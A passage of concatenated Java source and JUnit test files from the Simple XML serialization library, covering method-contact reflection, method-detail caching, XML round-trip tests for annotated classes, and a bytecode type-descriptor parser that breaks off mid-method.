}
/**
* This returns the set part of the method. Acquiring separate
* parts of the method ensures that method parts can be inherited
* easily between types as overriding either part of a property.
*
* @return this returns the set part of the method contact
*/
public MethodPart getWrite() {
return set;
}
/**
* This is the annotation associated with the point of contact.
* This will be an XML annotation that describes how the contact
* should be serialized and deserialized from the object.
*
* @return this provides the annotation associated with this
*/
public Annotation getAnnotation() {
return label;
}
/**
* This is the annotation associated with the point of contact.
* This will be an XML annotation that describes how the contact
* should be serialized and deserialized from the object.
*
* @param type this is the type of the annotation to acquire
*
* @return this provides the annotation associated with this
*/
public <T extends Annotation> T getAnnotation(Class<T> type) {
T result = get.getAnnotation(type);
if(type == label.annotationType()) {
return (T) label;
}
if(result == null && set != null) {
return set.getAnnotation(type);
}
return result;
}
/**
* This will provide the contact type. The contact type is the
* class that is to be set and get on the object. This represents
* the return type for the get and the parameter for the set.
*
* @return this returns the type that this contact represents
*/
public Class getType() {
return type;
}
/**
* This provides the dependent class for the contact. This will
* actually represent a generic type for the actual type. For
* contacts that use a <code>Collection</code> type this will
* be the generic type parameter for that collection.
*
* @return this returns the dependent type for the contact
*/
public Class getDependent() {
return item;
}
/**
* This provides the dependent classes for the contact. This will
* typically represent a generic types for the actual type. For
* contacts that use a <code>Map</code> type this will be the
* generic type parameter for that map type declaration.
*
* @return this returns the dependent type for the contact
*/
public Class[] getDependents() {
return items;
}
/**
* This is the class that declares the contact. The declaring
* class is where the method represented has been defined. This
* will typically be a class rather than an interface.
*
* @return this returns the class the contact is declared within
*/
public Class getDeclaringClass() {
return owner;
}
/**
* This is used to acquire the name of the method. This returns
* the name of the method without the get, set or is prefix that
* represents the Java Bean method type. Also this decapitalizes
* the resulting name. The result is used to represent the XML
* attribute of element within the class schema represented.
*
* @return this returns the name of the method represented
*/
public String getName() {
return name;
}
/**
* This is used to set the specified value on the provided object.
* The value provided must be an instance of the contact class so
* that it can be set without a runtime class compatibility error.
*
* @param source this is the object to set the value on
* @param value this is the value that is to be set on the object
*/
public void set(Object source, Object value) throws Exception{
Method method = get.getMethod();
Class type = method.getDeclaringClass();
if(set == null) {
throw new MethodException("Property '%s' is read only in %s", name, type);
}
set.getMethod().invoke(source, value);
}
/**
* This is used to get the specified value on the provided object.
* The value returned from this method will be an instance of the
* contact class type. If the returned object is of a different
* type then the serialization process will fail.
*
* @param source this is the object to acquire the value from
*
* @return this is the value that is acquired from the object
*/
public Object get(Object source) throws Exception {
return get.getMethod().invoke(source);
}
/**
* This is used to describe the contact as it exists within the
* owning class. It is used to provide error messages that can
* be used to debug issues that occur when processing a contact.
* The string provided contains both the set and get methods.
*
* @return this returns a string representation of the contact
*/
public String toString() {
return String.format("method '%s'", name);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/ClassTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.util.Date;
import junit.framework.TestCase;
public class ClassTransformTest extends TestCase {
public void testClassTransform() throws Exception {
Class c = Date.class;
ClassTransform transform = new ClassTransform();
String value = transform.write(c);
Class copy = transform.read(value);
assertEquals(c, copy);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/MethodDetail.java<|end_filename|>
/*
* MethodDetail.java July 2012
*
* Copyright (C) 2012, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
import java.lang.reflect.Method;
/**
* The <code>MethodDetail</code> represents a method and acts as a
* means to cache all of the details associated with the method.
* This is primarily used to cache data associated with the method
* as some platforms do not perform well with reflection.
*
* @author <NAME>
*/
class MethodDetail {
/**
* This contains all the annotations declared on the method.
*/
private final Annotation[] list;
/**
* This is the method that this instance is representing.
*/
private final Method method;
/**
* This contains the name of the method that is represented.
*/
private final String name;
/**
* Constructor for the <code>MethodDetail</code> object. This takes
* a method that has been extracted from a class. All of the details
* such as the annotations and the method name are stored.
*
* @param method this is the method that is represented by this
*/
public MethodDetail(Method method) {
this.list = method.getDeclaredAnnotations();
this.name = method.getName();
this.method = method;
}
/**
* This returns the list of annotations that are associated with
* the method. The annotations are extracted only once and cached
* internally, which improves the performance of serialization as
* reflection on the method needs to be performed only once.
*
* @return this returns the annotations associated with the method
*/
public Annotation[] getAnnotations() {
return list;
}
/**
* This is the method that is represented by this detail. The method
* is provided so that it can be invoked to set or get the data
* that is referenced by the method during serialization.
*
* @return this returns the method represented by this detail
*/
public Method getMethod() {
return method;
}
/**
* This is used to extract the name of the method. The name here
* is the actual name of the method rather than the name used by
* the XML representation of the method.
*
* @return this returns the actual name of the method
*/
public String getName() {
return name;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ExtendTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringReader;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import junit.framework.TestCase;
public class ExtendTest extends TestCase {
private static final String FIRST =
"<?xml version=\"1.0\"?>\n"+
"<root id='12'>\n"+
" <text>entry text</text> \n\r"+
"</root>";
private static final String SECOND =
"<?xml version=\"1.0\"?>\n"+
"<root id='12'>\n"+
" <text>entry text</text> \n\r"+
" <name>some name</name> \n\r"+
"</root>";
private static final String THIRD =
"<?xml version=\"1.0\"?>\n"+
"<override id='12' flag='true'>\n"+
" <text>entry text</text> \n\r"+
" <name>some name</name> \n"+
" <third>added to schema</third>\n"+
"</override>";
@Root(name="root")
private static class First {
@Attribute(name="id")
public int id;
@Element(name="text")
public String text;
}
private static class Second extends First {
@Element(name="name")
public String name;
}
@Root(name="override")
private static class Third extends Second {
@Attribute(name="flag")
public boolean bool;
@Element(name="third")
public String third;
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testFirst() throws Exception {
First first = serializer.read(First.class, new StringReader(FIRST));
assertEquals(first.id, 12);
assertEquals(first.text, "entry text");
}
public void testSecond() throws Exception {
Second second = serializer.read(Second.class, new StringReader(SECOND));
assertEquals(second.id, 12);
assertEquals(second.text, "entry text");
assertEquals(second.name, "<NAME>");
}
public void testThird() throws Exception {
Third third = serializer.read(Third.class, new StringReader(THIRD));
assertEquals(third.id, 12);
assertEquals(third.text, "entry text");
assertEquals(third.name, "<NAME>");
assertEquals(third.third, "added to schema");
assertTrue(third.bool);
}
public void testFailure() throws Exception {
boolean fail = false;
try {
Third third = serializer.read(Third.class, new StringReader(SECOND));
}catch(Exception e) {
fail = true;
}
assertTrue(fail);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/LiteralTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.transform.Matcher;
import org.simpleframework.xml.transform.Transform;
public class LiteralTest extends ValidationTestCase {
@Root(strict=false)
private static class LiteralExample {
@Attribute
private String name;
@Attribute
private String key;
@Text(required=false)
private final Literal literal = new Literal(
"<literal id='a' value='a'>\n"+
" <child>some example text</child>\n"+
"</literal>\n");
private LiteralExample() {
super();
}
public LiteralExample(String name, String key) {
this.name = name;
this.key = key;
}
public String getName() {
return name;
}
}
private static class LiteralMatcher implements Matcher {
public Transform match(Class type) {
if(type == Literal.class) {
return new LiteralTransform();
}
return null;
}
}
private static class LiteralTransform implements Transform {
public Object read(String value) throws Exception {
return new Literal(value);
}
public String write(Object value) throws Exception {
return value.toString();
}
}
private static class Literal {
private final String content;
public Literal(String content) {
this.content = content;
}
public String toString() {
return content;
}
}
public void testLiteral() throws Exception {
Matcher matcher = new LiteralMatcher();
Persister persister = new Persister(matcher);
LiteralExample example = new LiteralExample("name", "key");
persister.write(example, System.out);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/RootTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.ValidationTestCase;
public class RootTest extends ValidationTestCase {
private static final String ROOT_EXAMPLE =
"<rootExample version='1'>\n"+
" <text>Some text example</text>\n"+
"</rootExample>";
private static final String EXTENDED_ROOT_EXAMPLE =
"<rootExample version='1'>\n"+
" <text>Some text example</text>\n"+
"</rootExample>";
private static final String EXTENDED_OVERRIDDEN_ROOT_EXAMPLE =
"<extendedOverriddenRootExample version='1'>\n"+
" <text>Some text example</text>\n"+
"</extendedOverriddenRootExample>";
private static final String EXTENDED_EXPLICITLY_OVERRIDDEN_ROOT_EXAMPLE =
"<explicitOverride version='1'>\n"+
" <text>Some text example</text>\n"+
"</explicitOverride>";
@Root
private static class RootExample {
private int version;
private String text;
public RootExample() {
super();
}
@Attribute
public void setVersion(int version) {
this.version = version;
}
@Attribute
public int getVersion() {
return version;
}
@Element
public void setText(String text) {
this.text = text;
}
@Element
public String getText() {
return text;
}
}
private static class ExtendedRootExample extends RootExample {
public ExtendedRootExample() {
super();
}
}
@Root
private static class ExtendedOverriddenRootExample extends ExtendedRootExample {
public ExtendedOverriddenRootExample() {
super();
}
}
@Root(name="explicitOverride")
private static class ExtendedExplicitlyOverriddenRootExample extends ExtendedRootExample {
public ExtendedExplicitlyOverriddenRootExample() {
super();
}
}
private Persister persister;
public void setUp() {
this.persister = new Persister();
}
public void testRoot() throws Exception {
RootExample example = persister.read(RootExample.class, ROOT_EXAMPLE);
assertEquals(example.version, 1);
assertEquals(example.text, "Some text example");
validate(example, persister);
example = persister.read(ExtendedRootExample.class, ROOT_EXAMPLE);
assertEquals(example.version, 1);
assertEquals(example.text, "Some text example");
validate(example, persister);
example = persister.read(ExtendedRootExample.class, EXTENDED_ROOT_EXAMPLE);
assertEquals(example.version, 1);
assertEquals(example.text, "Some text example");
validate(example, persister);
example = persister.read(ExtendedOverriddenRootExample.class, EXTENDED_OVERRIDDEN_ROOT_EXAMPLE);
assertEquals(example.version, 1);
assertEquals(example.text, "Some text example");
validate(example, persister);
example = persister.read(ExtendedExplicitlyOverriddenRootExample.class, EXTENDED_EXPLICITLY_OVERRIDDEN_ROOT_EXAMPLE);
assertEquals(example.version, 1);
assertEquals(example.text, "Some text example");
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/ContactEntryTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.convert.ExampleConverters.Entry;
import org.simpleframework.xml.convert.ExampleConverters.EntryListConverter;
import org.simpleframework.xml.convert.ExampleConverters.ExtendedEntry;
import org.simpleframework.xml.convert.ExampleConverters.OtherEntryConverter;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.Strategy;
public class ContactEntryTest extends ValidationTestCase {
@Root
public static class EntryList {
@ElementList(inline=true)
private List<Entry> list;
@Element
@Convert(OtherEntryConverter.class)
private Entry other;
@Element
private Entry inheritConverter;
@Element
private Entry polymorhic;
@Element
@Convert(EntryListConverter.class)
private List<Entry> otherList;
public EntryList() {
this("Default", "Value");
}
public EntryList(String name, String value){
this.list = new ArrayList<Entry>();
this.otherList = new ArrayList<Entry>();
this.other = new Entry(name, value);
this.inheritConverter = new Entry("INHERIT", "inherit");
this.polymorhic = new ExtendedEntry("POLY", "poly", 12);
}
public Entry getInherit() {
return inheritConverter;
}
public Entry getOther() {
return other;
}
public List<Entry> getList() {
return list;
}
public List<Entry> getOtherList() {
return otherList;
}
}
public void testContact() throws Exception {
Strategy strategy = new AnnotationStrategy();
Serializer serializer = new Persister(strategy);
EntryList list = new EntryList("Other", "Value");
StringWriter writer = new StringWriter();
list.getList().add(new Entry("a", "A"));
list.getList().add(new Entry("b", "B"));
list.getList().add(new Entry("c", "C"));
list.getOtherList().add(new Entry("1", "ONE"));
list.getOtherList().add(new Entry("2", "TWO"));
list.getOtherList().add(new Entry("3", "THREE"));
serializer.write(list, writer);
String text = writer.toString();
EntryList copy = serializer.read(EntryList.class, text);
assertEquals(copy.getList().get(0).getName(), list.getList().get(0).getName());
assertEquals(copy.getList().get(0).getValue(), list.getList().get(0).getValue());
assertEquals(copy.getList().get(1).getName(), list.getList().get(1).getName());
assertEquals(copy.getList().get(1).getValue(), list.getList().get(1).getValue());
assertEquals(copy.getList().get(2).getName(), list.getList().get(2).getName());
assertEquals(copy.getList().get(2).getValue(), list.getList().get(2).getValue());
assertEquals(copy.getOtherList().get(0).getName(), list.getOtherList().get(0).getName());
assertEquals(copy.getOtherList().get(0).getValue(), list.getOtherList().get(0).getValue());
assertEquals(copy.getOtherList().get(1).getName(), list.getOtherList().get(1).getName());
assertEquals(copy.getOtherList().get(1).getValue(), list.getOtherList().get(1).getValue());
assertEquals(copy.getOtherList().get(2).getName(), list.getOtherList().get(2).getName());
assertEquals(copy.getOtherList().get(2).getValue(), list.getOtherList().get(2).getValue());
System.out.println(text);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ArrayEntryTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
public class ArrayEntryTest extends ValidationTestCase {
private static final String LIST =
"<?xml version=\"1.0\"?>\n"+
"<exampleArray>\n"+
" <list length='3'>\n"+
" <substitute id='1'>\n"+
" <text>one</text> \n\r"+
" </substitute>\n\r"+
" <substitute id='2'>\n"+
" <text>two</text> \n\r"+
" </substitute>\n"+
" <substitute id='3'>\n"+
" <text>three</text> \n\r"+
" </substitute>\n"+
" </list>\n"+
"</exampleArray>";
private static final String PRIMITIVE_LIST =
"<?xml version=\"1.0\"?>\n"+
"<examplePrimitiveArray>\n"+
" <list length='4'>\r\n" +
" <substitute>a</substitute>\n"+
" <substitute>b</substitute>\n"+
" <substitute>c</substitute>\n"+
" <substitute>d</substitute>\n"+
" </list>\r\n" +
"</examplePrimitiveArray>";
@Root
private static class Entry {
@Attribute
private int id;
@Element
private String text;
public String getText() {
return text;
}
public int getId() {
return id;
}
}
@Root
private static class ExampleArray {
@ElementArray(name="list", entry="substitute") // XXX bad error if the length= attribute is missing
private Entry[] list;
public Entry[] getArray() {
return list;
}
}
@Root
private static class ExamplePrimitiveArray {
@ElementArray(name="list", entry="substitute") // XXX bad error if this was an array
private Character[] list;
public Character[] getArray() {
return list;
}
}
public void testExampleArray() throws Exception {
Serializer serializer = new Persister();
ExampleArray list = serializer.read(ExampleArray.class, LIST);
validate(list, serializer);
}
public void testExamplePrimitiveArray() throws Exception {
Serializer serializer = new Persister();
ExamplePrimitiveArray list = serializer.read(ExamplePrimitiveArray.class, PRIMITIVE_LIST);
validate(list, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/StyleTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.HyphenStyle;
import org.simpleframework.xml.stream.Style;
public class StyleTest extends ValidationTestCase {
private static final String SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<Example Version='1.0' Name='example' URL='http://domain.com/'>\n"+
" <List>\n"+
" <ListEntry id='1'>\n"+
" <Text>one</Text> \n\r"+
" </ListEntry>\n\r"+
" <ListEntry id='2'>\n"+
" <Text>two</Text> \n\r"+
" </ListEntry>\n"+
" <ListEntry id='3'>\n"+
" <Text>three</Text> \n\r"+
" </ListEntry>\n"+
" </List>\n"+
" <TextEntry id='4'>\n" +
" <Text>example 4</Text>\n" +
" </TextEntry>\n" +
" <URLList>\n"+
" <URLEntry>http://a.com/</URLEntry>\n"+
" <URLEntry>http://b.com/</URLEntry>\n"+
" <URLEntry>http://c.com/</URLEntry>\n"+
" </URLList>\n"+
" <TextEntry id='5'>\n" +
" <Text>example 5</Text>\n" +
" </TextEntry>\n" +
" <TextEntry id='6'>\n" +
" <Text>example 6</Text>\n" +
" </TextEntry>\n" +
" <TextArray length='3'>\n"+
" <TextEntry id='6'>\n" +
" <Text>example 6</Text>\n" +
" </TextEntry>\n" +
" <TextEntry id='7'>\n" +
" <Text>example 7</Text>\n" +
" </TextEntry>\n" +
" <TextEntry id='8'>\n" +
" <Text>example 8</Text>\n" +
" </TextEntry>\n" +
" </TextArray>\n"+
" <TextEntry id='9'>\n" +
" <Text>example 9</Text>\n" +
" </TextEntry>\n" +
" <URLMap>\n"+
" <URLItem Key='a'>\n"+
" <URLEntry>http://a.com/</URLEntry>\n"+
" </URLItem>\n"+
" <URLItem Key='b'>\n"+
" <URLEntry>http://b.com/</URLEntry>\n"+
" </URLItem>\n"+
" <URLItem Key='c'>\n"+
" <URLEntry>http://c.com/</URLEntry>\n"+
" </URLItem>\n"+
" </URLMap>\n"+
"</Example>";
@Root(name="Example")
private static class CaseExample {
@ElementList(name="List", entry="ListEntry")
private List<TextEntry> list;
@ElementList(name="URLList")
private List<URLEntry> domainList;
@ElementList(name="TextList", inline=true)
private List<TextEntry> textList;
@ElementArray(name="TextArray", entry="TextEntry")
private TextEntry[] textArray;
@ElementMap(name="URLMap", entry="URLItem", key="Key", value="URLItem", attribute=true)
private Map<String, URLEntry> domainMap;
@Attribute(name="Version")
private float version;
@Attribute(name="Name")
private String name;
@Attribute
private String URL; // Java Bean property is URL
}
@Root(name="TextEntry")
private static class TextEntry {
@Attribute(name="id")
private int id;
@Element(name="Text")
private String text;
}
@Root(name="URLEntry")
private static class URLEntry {
@Text
private String location;
}
public void testCase() throws Exception {
Style style = new HyphenStyle();
Format format = new Format(style);
Persister writer = new Persister(format);
Persister reader = new Persister();
CaseExample example = reader.read(CaseExample.class, SOURCE);
assertEquals(example.version, 1.0f);
assertEquals(example.name, "example");
assertEquals(example.URL, "http://domain.com/");
writer.write(example, System.err);
validate(example, reader);
validate(example, writer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/Test6Test.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import java.io.StringWriter;
import java.util.Arrays;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.core.Persister;
public class Test6Test extends TestCase {
@Root(name="test6")
public static class Test6 {
@ElementList(name="elements", entry="element", type=MyElement.class)
final java.util.ArrayList<MyElement> elements;
boolean listConstructorUsed = true;
/*FIXME why does adding the default constructor spoil the serialization? Without the default constructor everything is ok*/
public Test6(){
this(new java.util.ArrayList<MyElement>());
this.listConstructorUsed = false;
}
public Test6(final MyElement... elements){
this(new java.util.ArrayList<MyElement>(Arrays.asList(elements)));
this.listConstructorUsed = false;
}
public Test6(@ElementList(name="elements", entry="element", type=MyElement.class)
final java.util.ArrayList<MyElement> elements
) {
super();
this.elements = elements;
}
public boolean isListConstructorUsed() {
return listConstructorUsed;
}
}
@Root
public static class MyElement{
}
public static class MyElementA extends MyElement{
}
public static class MyElementB extends MyElement{
}
public void testSerialize() throws Exception{
Serializer s = new Persister();
StringWriter sw = new StringWriter();
s.write(new Test6(new MyElementA(), new MyElementB()), sw);
String serializedForm = sw.toString();
System.out.println(serializedForm);
System.out.println();
Test6 o = s.read(Test6.class, serializedForm);
assertTrue(o.isListConstructorUsed());
sw.getBuffer().setLength(0);
s.write(o, sw);
System.out.println(sw.toString());
System.out.println();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ScannerDefaultTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Transient;
public class ScannerDefaultTest extends TestCase {
@Root
@Default(DefaultType.FIELD)
private static class OrderItem {
private Customer customer;
private String name;
@Transient
private double price; // should be transient to avoid having prices as an attribute and an element, which is legal
@Attribute
private double getPrice() {
return price;
}
@Attribute
private void setPrice(double price) {
this.price = price;
}
}
@Root
@Default(DefaultType.PROPERTY)
private static class Customer {
private String name;
private String getName() {
return name;
}
public void setName(String name){
this.name = name;
}
}
@Root
@Default(DefaultType.FIELD)
private static class DuplicateExample {
private int id;
@Attribute
public int getId() {
return id;
}
@Attribute
public void setId(int id){
this.id = id;
}
}
@Root
@Default(DefaultType.PROPERTY)
private static class NonMatchingAnnotationExample {
private String name;
private String getName() {
return name;
}
@Attribute
public void setName(String name) {
this.name = name;
}
}
public void testNonMatchingAnnotationExample() throws Exception {
boolean failure = false;
try {
new ObjectScanner(new DetailScanner(NonMatchingAnnotationExample.class), new Support());
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Failure should occur when annotations do not match", failure);
}
public void testDuplicateExample() throws Exception {
Scanner scanner = new ObjectScanner(new DetailScanner(DuplicateExample.class), new Support());
LabelMap attributes = scanner.getSection().getAttributes();
LabelMap elements = scanner.getSection().getElements();
assertEquals(attributes.get("id").getType(), int.class);
assertEquals(elements.get("id").getType(), int.class);
}
public void testScanner() throws Exception {
Scanner scanner = new ObjectScanner(new DetailScanner(OrderItem.class), new Support());
LabelMap attributes = scanner.getSection().getAttributes();
LabelMap elements = scanner.getSection().getElements();
assertEquals(attributes.get("price").getType(), double.class);
assertEquals(elements.get("customer").getType(), Customer.class);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/reflect/TypeCollector.java<|end_filename|>
package org.simpleframework.xml.reflect;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
/**
* The type collector waits for an specific method in order to start a
* method collector.
*
* @author <NAME>
*/
class TypeCollector {
static final String[] EMPTY_NAMES = new String[0];
private static final Map<String, String> primitives = new HashMap<String, String>() {
{
put("int", "I");
put("boolean", "Z");
put("char", "C");
put("short", "B");
put("float", "F");
put("long", "J");
put("double", "D");
}
};
private static final String COMMA = ",";
private final String methodName;
private final Class<?>[] parameterTypes;
private final boolean throwExceptionIfMissing;
private MethodCollector collector;
public TypeCollector(String methodName, Class<?>[] parameterTypes,
boolean throwExceptionIfMissing) {
this.methodName = methodName;
this.parameterTypes = parameterTypes;
this.throwExceptionIfMissing = throwExceptionIfMissing;
this.collector = null;
}
public MethodCollector visitMethod(int access, String name, String desc) {
// already found the method, skip any processing
if (collector != null) {
return null;
}
// not the same name
if (!name.equals(methodName)) {
return null;
}
Type[] argumentTypes = Type.getArgumentTypes(desc);
int longOrDoubleQuantity = 0;
for (Type t : argumentTypes) {
if (t.getClassName().equals("long")
|| t.getClassName().equals("double")) {
longOrDoubleQuantity++;
}
}
int paramCount = argumentTypes.length;
// not the same quantity of parameters
if (paramCount != this.parameterTypes.length) {
return null;
}
for (int i = 0; i < argumentTypes.length; i++) {
if (!correctTypeName(argumentTypes, i).equals(
this.parameterTypes[i].getName())) {
return null;
}
}
this.collector = new MethodCollector((Modifier.isStatic(access) ? 0
: 1), argumentTypes.length + longOrDoubleQuantity);
return collector;
}
private String correctTypeName(Type[] argumentTypes, int i) {
String s = argumentTypes[i].getClassName();
// array notation needs cleanup.
if (s.endsWith("[]")) {
String prefix = s.substring(0, s.length() - 2);
if (primitives.containsKey(prefix)) {
s = "[" + primitives.get(prefix);
} else {
s = "[L" + prefix + ";";
}
}
return s;
}
public String[] getParameterNamesForMethod() {
if (collector == null) {
return EMPTY_NAMES;
}
if (!collector.isDebugInfoPresent()) {
if (throwExceptionIfMissing) {
throw new RuntimeException("Parameter names not found for "
+ methodName);
} else {
return EMPTY_NAMES;
}
}
return collector.getResult().split(COMMA);
}
private static class Type {
/**
* The sort of the <tt>void</tt> type.
*/
private final static int VOID = 0;
/**
* The sort of the <tt>boolean</tt> type.
*/
private final static int BOOLEAN = 1;
/**
* The sort of the <tt>char</tt> type.
*/
private final static int CHAR = 2;
/**
* The sort of the <tt>byte</tt> type.
*/
private final static int BYTE = 3;
/**
* The sort of the <tt>short</tt> type.
*/
private final static int SHORT = 4;
/**
* The sort of the <tt>int</tt> type.
*/
private final static int INT = 5;
/**
* The sort of the <tt>float</tt> type.
*/
private final static int FLOAT = 6;
/**
* The sort of the <tt>long</tt> type.
*/
private final static int LONG = 7;
/**
* The sort of the <tt>double</tt> type.
*/
private final static int DOUBLE = 8;
/**
* The sort of array reference types.
*/
private final static int ARRAY = 9;
/**
* The sort of object reference type.
*/
private final static int OBJECT = 10;
/**
* The <tt>void</tt> type.
*/
private final static Type VOID_TYPE = new Type(VOID, null, ('V' << 24)
| (5 << 16) | (0 << 8) | 0, 1);
/**
* The <tt>boolean</tt> type.
*/
private final static Type BOOLEAN_TYPE = new Type(BOOLEAN, null,
('Z' << 24) | (0 << 16) | (5 << 8) | 1, 1);
/**
* The <tt>char</tt> type.
*/
private final static Type CHAR_TYPE = new Type(CHAR, null, ('C' << 24)
| (0 << 16) | (6 << 8) | 1, 1);
/**
* The <tt>byte</tt> type.
*/
private final static Type BYTE_TYPE = new Type(BYTE, null, ('B' << 24)
| (0 << 16) | (5 << 8) | 1, 1);
/**
* The <tt>short</tt> type.
*/
private final static Type SHORT_TYPE = new Type(SHORT, null,
('S' << 24) | (0 << 16) | (7 << 8) | 1, 1);
/**
* The <tt>int</tt> type.
*/
private final static Type INT_TYPE = new Type(INT, null, ('I' << 24)
| (0 << 16) | (0 << 8) | 1, 1);
/**
* The <tt>float</tt> type.
*/
private final static Type FLOAT_TYPE = new Type(FLOAT, null,
('F' << 24) | (2 << 16) | (2 << 8) | 1, 1);
/**
* The <tt>long</tt> type.
*/
private final static Type LONG_TYPE = new Type(LONG, null, ('J' << 24)
| (1 << 16) | (1 << 8) | 2, 1);
/**
* The <tt>double</tt> type.
*/
private final static Type DOUBLE_TYPE = new Type(DOUBLE, null,
('D' << 24) | (3 << 16) | (3 << 8) | 2, 1);
// ------------------------------------------------------------------------
// Fields
// ------------------------------------------------------------------------
/**
* The sort of this Java type.
*/
private final int sort;
/**
* A buffer containing the internal name of this Java type. This field
* is only used for reference types.
*/
private char[] buf;
/**
* The offset of the internal name of this Java type in {@link #buf
* buf} or, for primitive types, the size, descriptor and getOpcode
* offsets for this type (byte 0 contains the size, byte 1 the
* descriptor, byte 2 the offset for IALOAD or IASTORE, byte 3 the
* offset for all other instructions).
*/
private int off;
/**
* The length of the internal name of this Java type.
*/
private final int len;
// ------------------------------------------------------------------------
// Constructors
// ------------------------------------------------------------------------
/**
* Constructs a primitive type.
*
* @param sort
* the sort of the primitive type to be constructed.
*/
private Type(final int sort) {
this.sort = sort;
this.len = 1;
}
/**
* Constructs a reference type.
*
* @param sort
* the sort of the reference type to be constructed.
* @param buf
* a buffer containing the descriptor of the previous type.
* @param off
* the offset of this descriptor in the previous buffer.
* @param len
* the length of this descriptor.
*/
private Type(final int sort, final char[] buf, final int off,
final int len) {
this.sort = sort;
this.buf = buf;
this.off = off;
this.len = len;
}
/**
* Returns the Java types corresponding to the argument types of the
* given method descriptor.
*
* @param methodDescriptor
* a method descriptor.
* @return the Java types corresponding to the argument types of the
* given method descriptor.
*/
private static Type[] getArgumentTypes(final String methodDescriptor) {
char[] buf = methodDescriptor.toCharArray();
int off = 1;
int size = 0;
while (true) {
char car = buf[off++];
if (car == ')') {
break;
} else if (car == 'L') {
while (buf[off++] != ';') {
}
++size;
} else if (car != '[') {
++size;
}
}
Type[] args = new Type[size];
off = 1;
size = 0;
while (buf[off] != ')') {
args[size] = getType(buf, off);
off += args[size].len + (args[size].sort == OBJECT ? 2 : 0);
size += 1;
}
return args;
}
/**
* Returns the Java type corresponding to the given type descriptor.
*
* @param buf
* a buffer containing a type descriptor.
* @param off
* the offset of this descriptor in the previous buffer.
* @return the Java type corresponding to the given type descriptor.
*/
private static Type getType(final char[] buf, final int off) {
int len;
switch (buf[off]) {
case 'V':
return VOID_TYPE;
case 'Z':
return BOOLEAN_TYPE;
case 'C':
return CHAR_TYPE;
case 'B':
return BYTE_TYPE;
case 'S':
return SHORT_TYPE;
case 'I':
return INT_TYPE;
case 'F':
return FLOAT_TYPE;
case 'J':
return LONG_TYPE;
case 'D':
return DOUBLE_TYPE;
case '[':
len = 1;
while (buf[off + len] == '[') {
++len;
}
if (buf[off + len] == 'L') {
++len;
while (buf[off + len] != ';') {
++len;
}
}
return new Type(ARRAY, buf, off, len + 1);
// case 'L':
default:
len = 1;
while (buf[off + len] != ';') {
++len;
}
return new Type(OBJECT, buf, off + 1, len - 1);
}
}
// ------------------------------------------------------------------------
// Accessors
// ------------------------------------------------------------------------
/**
* Returns the number of dimensions of this array type. This method
* should only be used for an array type.
*
* @return the number of dimensions of this array type.
*/
private int getDimensions() {
int i = 1;
while (buf[off + i] == '[') {
++i;
}
return i;
}
/**
* Returns the type of the elements of this array type. This method
* should only be used for an array type.
*
* @return Returns the type of the elements of this array type.
*/
private Type getElementType() {
return getType(buf, off + getDimensions());
}
/**
* Returns the name of the class corresponding to this type.
*
* @return the fully qualified name of the class corresponding to this
* type.
*/
private String getClassName() {
switch (sort) {
